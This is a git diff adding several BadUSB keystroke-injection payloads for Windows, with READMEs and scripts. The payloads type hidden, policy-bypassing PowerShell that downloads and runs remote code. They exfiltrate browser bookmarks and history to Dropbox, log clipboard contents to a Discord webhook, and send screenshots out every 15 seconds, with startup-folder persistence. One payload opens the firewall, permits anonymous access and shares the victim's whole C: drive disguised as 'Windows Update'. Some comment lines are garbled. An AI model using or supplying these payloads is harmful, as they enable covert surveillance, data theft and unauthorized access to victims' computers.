+
+
+
+# Bookmark-Hog
+
+A payload to exfiltrate bookmarks of the 2 most popular browsers
+
+## Description
+
+This payload will enumerate through the browser directories, looking for the file that stores the bookmark history
+
+These files will be saved to the temp directory
+
+Finally dropbox will be used to exfiltrate the files to cloud storage
+
+## Getting Started
+
+### Dependencies
+
+* DropBox or other file sharing service - Your Shared link for the intended file
+* Windows 10,11
+
+
+
+### Executing program
+
+* Plug in your device
+* Invoke-WebRequest will be entered in the Run Box to download and execute the script from memory
+```
+powershell -w h -NoP -NonI -ep Bypass $pl = iwr < Your Shared link for the intended file> ?dl=1; iex $pl
+```
+
+
diff --git a/BadUSB/Bookmark-Hog/payload.txt b/BadUSB/Bookmark-Hog/payload.txt
new file mode 100644
index 00000000..17ce970b
--- /dev/null
+++ b/BadUSB/Bookmark-Hog/payload.txt
@@ -0,0 +1,16 @@
+REM Title: Bookmark-Hog
+
+REM Author: atomiczsec
+
+REM Description: This payload is meant to exfiltrate bookmarks to the rubber ducky
+
+REM Target: Windows 10, 11
+
+DELAY 2000
+GUI r
+DELAY 500
+STRING powershell -w h -NoP -NonI -ep Bypass $pl = iwr < Your Shared link for the intended file> dl=1; iex $pl
+ENTER
+
+REM Remember to replace the link with your DropBox shared link for the intended file to download
+REM Also remember to replace ?dl=0 with ?dl=1 at the end of your link so it is executed properlymode con:cols=14 lines=1
diff --git a/BadUSB/Copy-And-Waste/I.bat b/BadUSB/Copy-And-Waste/I.bat
new file mode 100644
index 00000000..665c9be9
--- /dev/null
+++ b/BadUSB/Copy-And-Waste/I.bat
@@ -0,0 +1,3 @@
+@echo off
+powershell -Command "& {cd "$env:userprofile\AppData\Roaming"; powershell -w h -NoP -NonI -Ep Bypass -File "c.ps1"}"
+pause
diff --git a/BadUSB/Copy-And-Waste/README.md b/BadUSB/Copy-And-Waste/README.md
new file mode 100644
index 00000000..93c4db2b
--- /dev/null
+++ b/BadUSB/Copy-And-Waste/README.md
@@ -0,0 +1,119 @@
+
+
+
+
+
+
+# Copy-And-Waste
+
+A payload to exfiltrate clipboard contents
+
+## Description
+
+This payload uses iwr to download 2 files
+* I.bat
+* c.ps1
+
+**I.bat** is downloaded to the startup folder to maintain persistance and execute c.ps1 on reboot/startup
+
+**c.ps1** will sit in AppData\Roaming folder, waiting for a Ctrl + C or Ctrl + X click
+
+Then the contents will then be sent to the discord webhook for viewing pleasure
+
+For killing the script press both Ctrl buttons at the same time [It will resume at reboot]
+
+
+## Getting Started
+
+### Dependencies
+
+* Pastebin or other file sharing service, Discord webhook or other webhook service
+* Windows 10,11
+* [Here](https://support.discord.com/hc/en-us/articles/228383668-Intro-to-Webhooks) is a tutorial on how to use Discord webhooks
+
+
+
+### Executing program
+
+* Plug in your device
+* Device will download both files and place them in proper directories to then run the script
+```
+powershell -w h -NoP -NonI -Ep Bypass "echo (iwr PASTEBIN LINK FOR BAT).content > "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\l.bat";echo (iwr PASTEBIN LINK FOR PS1).content > "$env:APPDATA\c.ps1";powershell "$env:APPDATA\c.ps1""
+```
+
+
+
+
+
+# History-Pig
+
+A payload to exfiltrate the history of the 2 most popular browsers
+
+## Description
+
+This payload will enumerate through the browser directories, looking for the file that stores the history
+
+These files will be saved to the temp directory
+
+Finally dropbox will be used to exfiltrate the files to cloud storage
+
+## Getting Started
+
+### Dependencies
+
+* DropBox or other file sharing service - Your Shared link for the intended file
+* Windows 10,11
+
+
+
+### Executing program
+
+* Plug in your device
+* Invoke-WebRequest will be entered in the Run Box to download and execute the script from memory
+```
+powershell -w h -NoP -NonI -ep Bypass $pl = iwr < Your Shared link for the intended file> ?dl=1; iex $pl
+```
+
+
diff --git a/BadUSB/History-Pig/payload.txt b/BadUSB/History-Pig/payload.txt
new file mode 100644
index 00000000..91224b20
--- /dev/null
+++ b/BadUSB/History-Pig/payload.txt
@@ -0,0 +1,16 @@
+REM Title: History-Pig
+
+REM Author: atomiczsec
+
+REM Description: This payload is meant to exfiltrate browsers history to a dropbox
+
+REM Target: Windows 10, 11
+
+DELAY 2000
+GUI r
+DELAY 500
+STRING powershell -w h -NoP -NonI -ep Bypass $pl = iwr < Your Shared link for the intended file> dl=1; iex $pl
+ENTER
+
+REM Remember to replace the link with your DropBox shared link for the intended file to download
+REM Also remember to replace ?dl=0 with ?dl=1 at the end of your link so it is executed properlymode con:cols=14 lines=1
diff --git a/BadUSB/Pwn-Drive/README.md b/BadUSB/Pwn-Drive/README.md
new file mode 100644
index 00000000..c3211bb1
--- /dev/null
+++ b/BadUSB/Pwn-Drive/README.md
@@ -0,0 +1,107 @@
+
+
+
+
+
+
+# Pwn-Drive
+
+A payload to share the victims "C:" drive to the network.
+
+## Description
+
+This payload will share the entire victims "C:" drive to the entire network for further exploitation.
+
+## Getting Started
+
+### Dependencies
+
+* DropBox or other file sharing service - Your Shared link for the intended file
+* Windows 10
+
+
+
+### Executing program
+
+* Plug in your device
+* Invoke-WebRequest will be entered in the Run Box to download and execute the script from memory
+```
+powershell -w h -NoP -NonI -ep Bypass $pl = iwr < Your Shared link for the intended file> ?dl=1; iex $pl
+```
+
+
diff --git a/BadUSB/Pwn-Drive/c.ps1 b/BadUSB/Pwn-Drive/c.ps1
new file mode 100644
index 00000000..798b9eea
--- /dev/null
+++ b/BadUSB/Pwn-Drive/c.ps1
@@ -0,0 +1,14 @@
+#Pwn-Drive
+
+#Enable Network Discovery
+netsh advfirewall firewall set rule group=”network discovery” new enable=yes
+
+#Enable File and Print
+netsh firewall set service type=fileandprint mode=enable profile=all
+
+#Setting Registry Values for allowing access to drive without credentials
+Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name everyoneincludesanonymous -Value 1 -Force
+Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanManServer\Parameters\" -Name restrictnullsessacces -Value 0 -Force
+
+#Sharing the Drive
+New-SmbShare -Name "Windows Update" -Path "C:\"
\ No newline at end of file
diff --git a/BadUSB/Pwn-Drive/payload.txt b/BadUSB/Pwn-Drive/payload.txt
new file mode 100644
index 00000000..a5dd5245
--- /dev/null
+++ b/BadUSB/Pwn-Drive/payload.txt
@@ -0,0 +1,16 @@
+REM Title: Pwn-Drive
+
+REM Author: atomiczsec
+
+REM Description: This payload will share the entire victims "C:" drive to the entire network for further exploitation.
+
+REM Target: Windows 10
+
+DELAY 2000
+GUI r
+DELAY 500
+STRING powershell -w h -NoP -NonI -ep Bypass $pl = iwr < Your Shared link for the intended file> dl=1; iex $pl
+ENTER
+
+REM Remember to replace the link with your DropBox shared link for the intended file to download
+REM Also remember to replace ?dl=0 with ?dl=1 at the end of your link so it is executed properlymode con:cols=14 lines=1
diff --git a/BadUSB/Screen-Shock/I.bat b/BadUSB/Screen-Shock/I.bat
new file mode 100644
index 00000000..665c9be9
--- /dev/null
+++ b/BadUSB/Screen-Shock/I.bat
@@ -0,0 +1,3 @@
+@echo off
+powershell -Command "& {cd "$env:userprofile\AppData\Roaming"; powershell -w h -NoP -NonI -Ep Bypass -File "c.ps1"}"
+pause
diff --git a/BadUSB/Screen-Shock/README.md b/BadUSB/Screen-Shock/README.md
new file mode 100644
index 00000000..a53c03fd
--- /dev/null
+++ b/BadUSB/Screen-Shock/README.md
@@ -0,0 +1,117 @@
+
+
+
+
+
+
+# Screen-Shock
+
+This payload is meant to exfiltrate screenshots of all monitors and sends to a dropbox every 15 seconds. (This setting can be changed in the c.ps1 file)
+
+## Description
+
+This payload uses iwr to download 2 files
+* I.bat
+* c.ps1
+
+**I.bat** is downloaded to the startup folder to maintain persistance and execute c.ps1 on reboot/startup
+
+**c.ps1** will sit in AppData\Roaming folder, taking a screenshot of all monitors every 15 seconds
+
+Then the contents will then be sent to the DropBox for viewing pleasure
+
+
+
+## Getting Started
+
+### Dependencies
+
+* Pastebin or other file sharing service, Dropbox
+* Windows 10
+* [Here](https://github.com/I-Am-Jakoby/PowerShell-for-Hackers/blob/main/Functions/DropBox-Upload.md) is a tutorial on how to use DropBox-Upload
+
+
+
+### Executing program
+
+* Plug in your device
+* Device will download both files and place them in proper directories to then run the script
+```
+powershell -w h -NoP -NonI -Ep Bypass "echo (iwr PASTEBIN LINK FOR BAT).content > "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\l.bat";echo (iwr PASTEBIN LINK FOR PS1).content > "$env:APPDATA\c.ps1";powershell "$env:APPDATA\c.ps1""
+```
+
+
+
+
+
+# Water-UnMark
+
+A payload to get rid of the ugly windows activation watermark.
+
+## Description
+This script will get rid of the ugly windows watermark. This script will automatically reboot the device. This is not activating your computer!!
+
+## Getting Started
+
+### Dependencies
+
+* Unactivated Windows 10
+
+
+
+
+
+
+
+
+
+
+
+
+ 
+ 
+